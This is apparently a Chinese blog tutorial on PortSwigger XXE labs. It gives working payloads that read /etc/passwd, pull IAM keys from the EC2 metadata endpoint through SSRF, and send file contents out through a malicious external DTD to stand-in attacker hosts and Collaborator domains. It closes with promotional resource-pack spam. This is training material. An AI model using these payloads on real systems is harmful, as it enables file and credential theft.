超全XXE注入漏洞实验总结,从零基础到精通,收藏这篇就够了!

温馨提示:前方高能,请各位靓仔靓女准备好小板凳,开始今天的学习之旅!
靶场传送门:https://portswigger.net/web-security


一、XML外部实体(XXE)注入:啥是XXE?一句话给你说明白!

1、扫盲:XXE是啥?

XML外部实体注入,简称XXE,这货是个Web安全漏洞,能让黑客操控应用程序处理XML数据的方式。简单来说,就是黑客能通过它来偷窥服务器上的文件,甚至能让服务器去访问它本不该访问的内部系统。


更可怕的是,在某些情况下,XXE还能升级,搞出服务器端请求伪造(SSRF)攻击,直接威胁服务器和后端设施的安全。

2、身世之谜:XXE从哪儿来?

现在很多应用都喜欢用XML来在浏览器和服务器之间传数据。但是,服务器在处理XML数据的时候,总会用到一些标准的库或者API。问题就出在这儿,XML规范里藏着一些危险的特性,而那些标准解析器又默认支持这些特性,就算你的应用根本用不着。


XML外部实体,就是一种可以自定义的XML实体,它的定义可以从DTD外部加载。这种外部实体特别危险,因为它能让你用文件路径或者URL来定义实体的内容。

3、搞事情:XXE能干啥?

1、**文件读取**:定义一个包含文件内容的外部实体,然后在应用的响应里返回它。 2、**SSRF攻击**:把外部实体定义成一个指向后端系统的URL,让服务器去访问它。 3、**带外数据泄露**:把服务器上的敏感数据偷偷地传到黑客控制的系统上。 4、**错误消息泄露**:触发一个包含敏感数据的XML解析错误消息。



二、XXE文件读取:教你一招,轻松get服务器文件!

1、开胃小菜:原理很简单,一学就会!

想要用XXE漏洞读取服务器上的任意文件,你只需要修改一下提交的XML:

1、**引入DOCTYPE**:定义一个包含文件路径的外部实体。(如果已经有DOCTYPE,就改一下)     2、**引用实体**:在XML的数据值里,用你定义的外部实体。


在真实世界里,XML数据里通常有很多数据值,随便哪个都可能在应用的响应里用到。所以,想要系统地测试XXE漏洞,你可能需要一个一个地测试XML里的每个数据节点,看看哪个会把你的实体内容显示出来。


举个栗子,有个购物App,它用XML来检查商品的库存:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>381</productId></stockCheck>

如果这个App没有做任何XXE防御,你就可以提交下面这个XXE Payload来读取/etc/passwd文件:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId></stockCheck>

这个Payload定义了一个外部实体&xxe;,它的值就是/etc/passwd文件的内容,然后在产品ID里使用了这个实体。这样,App的响应就会包含文件的内容:

Invalid product ID: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologin...


实验预告:
实验1:手把手教你用XXE读取敏感文件

实验1:手把手教你用XXE读取敏感文件

实验说明:

这个实验有个“Check stock”功能,它会解析XML输入,并且在响应里返回一些你意想不到的值。

目标:注入一个XML外部实体,读取/etc/passwd文件的内容。


Step 1:

随便打开一个商品页面,点击“检查库存”,然后用Burp Suite抓包,把请求发到Repeater里。


Step 2:

开始XXE注入!

在XML声明和stockCheck元素之间,插入下面这段外部实体定义:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

然后,把productId的值替换成对外部实体的引用:

&xxe;

大功告成!

如果一切顺利,响应里应该会包含"Invalid product ID:",后面跟着/etc/passwd文件的内容。

三、XXE的SSRF骚操作:让服务器给你当“内鬼”!

1、概念普及:SSRF是啥?为啥XXE能搞它?

除了读取敏感数据,XXE攻击还能用来搞服务器端请求伪造(SSRF)。这可是个潜在的严重漏洞,它能诱骗服务器端应用向服务器能访问的任何URL发起HTTP请求。


想要用XXE漏洞搞SSRF,你需要把外部XML实体定义成你要攻击的URL,然后在数据值里使用这个实体。如果应用的响应里能返回你定义的实体,那你就能从响应里看到URL的返回内容,实现和后端系统的双向交互。如果不能,那你只能进行盲打SSRF。


举个栗子,下面这个XXE可以让服务器向内部系统发起HTTP请求:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>


实验预告:
实验2:用XXE搞SSRF,拿下服务器的IAM密钥!

实验2:用XXE搞SSRF,拿下服务器的IAM密钥!

实验说明:

这个实验也有个“Check stock”功能,它会解析XML输入,并且在响应里返回一些你意想不到的值。

实验服务器运行在一个模拟的EC2元数据端点http://169.254.169.254/上,你可以用它来获取服务器的IAM密钥。

目标:利用XXE漏洞,搞SSRF攻击,从EC2元数据端点获取服务器的IAM密钥!


Step 1:

随便打开一个商品页面,点击“检查库存”,然后用Burp Suite抓包,把请求发到Repeater里。


Step 2:

XXE注入!

在XML声明和stockCheck元素之间插入下面这段外部实体定义:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>

然后,把productId的值替换成对外部实体的引用:

&xxe;

响应里应该会包含"Invalid product ID:",后面跟着元数据端点的响应,这玩意儿一开始会显示一个文件夹名称。


Step 3:

搞定!

不停地修改DTD里的URL,直到你访问到这个地址:

/latest/meta-data/iam/security-credentials/admin

这玩意儿会返回一个包含SecretAccessKey的JSON。

四、盲打XXE:看不见摸不着?照样拿下!

1、前戏:啥是盲XXE?为啥它这么神秘?

很多时候,XXE漏洞都是盲打的。也就是说,应用不会在响应里返回任何你定义的外部实体的值,所以你没法直接读取服务器上的文件。


虽然盲XXE漏洞比较难搞,但也不是不能搞。你需要用一些更高级的技巧。有时候,你可以用带外技术来发现漏洞,并且利用它来泄露数据。还有的时候,你可以触发XML解析错误,让错误消息泄露敏感数据。

2、盲注技巧:两种方法,让你不再盲人摸象!

盲XXE漏洞就是应用存在XXE注入,但是不会在响应里返回任何你定义的外部实体的值。这就意味着你不能直接读取服务器上的文件,所以盲XXE通常比普通的XXE漏洞更难利用。

你可以用两种方法来发现和利用盲XXE漏洞:     1、**带外交互**:触发一个和外部服务器的网络交互,有时候会在交互数据里泄露敏感数据。     2、**错误消息**:触发一个XML解析错误,让错误消息包含敏感数据。

3、带外数据传输:隔山打牛,照样能搞到数据!

通常你可以用和XXE SSRF攻击一样的技术来检测盲XXE,只不过这次你要触发一个和你控制的系统的带外网络交互。

举个栗子,你可以这样定义外部实体: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]> 然后在XML的数据值里使用这个实体。

这个XXE攻击会让服务器向指定的URL发起HTTP请求。然后,你就可以监控DNS查询和HTTP请求,看看XXE攻击是不是成功了。


实验预告:
实验3:带外交互,让服务器主动“汇报”!


如果你发现普通的实体攻击被拦截了,可能是因为应用做了一些输入验证,或者XML解析器做了一些加固。这时候,你可以试试XML参数实体。

XML参数实体是一种特殊的XML实体,它只能在DTD里的其他地方引用。

1)XML参数实体的声明要在实体名称前面加一个百分号:

<!ENTITY % myparameterentity "my parameter entity value" >

2)引用参数实体的时候,要用%百分号,而不是&号:

%myparameterentity;

3)你可以用带外检测来测试盲XXE:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

这个XXE Payload声明了一个叫做xxe的XML参数实体,然后在DTD里使用了这个实体。这样就会向你的域名发起DNS查询和HTTP请求,让你知道攻击是不是成功了。


实验预告:
实验4:参数实体显神威,带外交互更高效!

实验3:带外交互,让服务器主动“汇报”!

实验说明:

这个实验有个“Check stock”功能,它可以解析XML输入,但是不显示结果。

你可以通过触发一个和外部域的带外交互来检测盲XXE漏洞。

目标:使用外部实体,让XML解析器向Burp Collaborator发起DNS查询和HTTP请求。


Step 1:

随便打开一个商品页面,点击“检查库存”,然后用Burp Suite抓包,把请求发到Repeater里。


Step 2:

XXE注入!

在Burp Collaborator客户端里,点击“Copy to clipboard”,把Payload复制到剪贴板。(记得保持客户端窗口打开)

假设你的Burp Collaborator域名是:

4rwfonp4gqw9xc6pfy7unaght8zynn.burpcollaborator.net

在XML声明和stockCheck元素之间,插入下面这段外部实体定义:

```
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://你的Burp Collaborator域名"> ]>

比如:
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://4rwfonp4gqw9xc6pfy7unaght8zynn.burpcollaborator.net"> ]>
```

然后,把productId的值替换成对外部实体的引用:

&xxe;

见证奇迹的时刻!

打开Collaborator标签,刷新一下,你应该能看到一些DNS和HTTP交互,这些交互是应用程序发起的。

实验4:参数实体显神威,带外交互更高效!

实验说明:

这个实验也有个“Check stock”功能,它可以解析XML输入,但是不显示任何结果,而且还拦截包含普通外部实体的请求。

目标:使用一个参数实体,让XML解析器向Burp Collaborator发起DNS查询和HTTP请求。


Step 1:

随便打开一个商品页面,点击“检查库存”,然后用Burp Suite抓包,把请求发到Repeater里。


Step 2:

XXE注入!

在Burp Collaborator客户端里,点击“Copy to clipboard”,把Payload复制到剪贴板。(记得保持客户端窗口打开)

假设你的Burp Collaborator域名是:

6bivukzadf4nrcnuu14gcp6kibo1cq.burpcollaborator.net

在XML声明和stockCheck元素之间,插入下面这段外部实体定义:

```
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://你的Burp Collaborator域名"> %xxe; ]>

比如:
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://6bivukzadf4nrcnuu14gcp6kibo1cq.burpcollaborator.net"> %xxe; ]>
```

成功就在眼前!

打开Collaborator标签,刷新一下,你应该能看到一些DNS和HTTP交互,这些交互是应用程序发起的。

4、盲XXE数据外渗:把数据偷偷运走,神不知鬼不觉!

通过带外技术检测到盲XXE漏洞固然不错,但是更重要的是如何利用这个漏洞来泄露敏感数据。你可以通过在你控制的系统上托管一个恶意的DTD,然后在XXE Payload里调用这个外部DTD来实现数据外渗。

`` 举个栗子,下面这个恶意的DTD可以用来泄露/etc/passwd`文件的内容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

这个DTD会做以下几件事:

1、定义一个叫做file的XML参数实体,它的内容是/etc/passwd文件。

2、定义一个叫做eval的XML参数实体,它包含另一个XML参数实体的动态声明,这个实体叫做exfiltrateexfiltrate会向你的Web服务器发起一个请求,把file实体的内容放在URL的查询字符串里。

3、使用eval实体,这会导致exfiltrate实体被执行。

4、使用exfiltrate实体,这会导致它的值被计算出来,也就是向指定的URL发起请求。
```

接下来,你需要把你这个恶意的DTD放在你控制的系统上,通常是你的Web服务器上。

比如,你可以把这个DTD放在这个URL: http://web-attacker.com/malicious.dtd

最后,你需要向存在漏洞的应用提交下面这个XXE Payload:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM"http://web-attacker.com/malicious.dtd"> %xxe;]>

这个XXE Payload声明了一个叫做xxe的XML参数实体,然后在DTD里使用了这个实体。这会导致XML解析器从你的服务器获取外部DTD,并且把它内联解释。然后,恶意DTD里定义的步骤就会被执行,/etc/passwd文件就会被传到你的服务器上。


这种方法可能不适用于某些文件内容,比如/etc/passwd文件里包含的换行符。因为有些XML解析器会用API来获取外部实体定义里的URL,这个API会验证URL里允许出现的字符。这时候,你可以用FTP协议来代替HTTP。

还有的时候,你可能没法过滤包含换行符的数据,所以你可以把目标改成/etc/hostname之类的文件。


实验预告:
实验5:用恶意外部DTD,把服务器数据“搬空”!

实验5:用恶意外部DTD泄漏数据

实验说明:

这个实验有个“Check stock”功能,它可以解析XML输入,但是不显示结果。

目标:/etc/hostname文件的内容导出来。


Step 1:

随便打开一个商品页面,点击“检查库存”,然后用Burp Suite抓包,把请求发到Repeater里。


Step 2:

上传DTD文件!

在Burp Collaborator客户端里,点击“Copy to clipboard”,把Payload复制到剪贴板。(记得保持客户端窗口打开)

假设你的Burp Collaborator域名是:

hwh2go56nreqc4j22wrj7aguzl5bt0.burpcollaborator.net

点击“Go to exploit server”,把恶意的DTD文件保存在你的服务器上。

把Burp Collaborator Payload放到恶意的DTD文件里: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://hwh2go56nreqc4j22wrj7aguzl5bt0.burpcollaborator.net/?x=%file;'>"> %eval; %exfil;

点击Store上传到服务器。(亲测,后缀加不加DTD都可以被识别出来)

点击“view exploit”,记下URL。(直接上传后有显示)

https://exploit-0a86000303a98408c5b231d30145003d.exploit-server.net/exploit.dtd


Step 3:

XXE注入!

在XML声明和stockCheck元素之间,插入下面这段外部实体定义:

```
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "你的DTD URL"> %xxe;]>

比如:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a86000303a98408c5b231d30145003d.exploit-server.net/exploit.dtd"> %xxe;]>
```


Step 4

搞定!

打开Collaborator标签,刷新一下,你应该能看到一些DNS和HTTP交互,这些交互是应用程序发起的。

![](https://mmbiz.qpic.cn/mmbiz_png/pPVXCo8Wd8BnicnvL9Tx5xzc35fHP1oGeMc

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值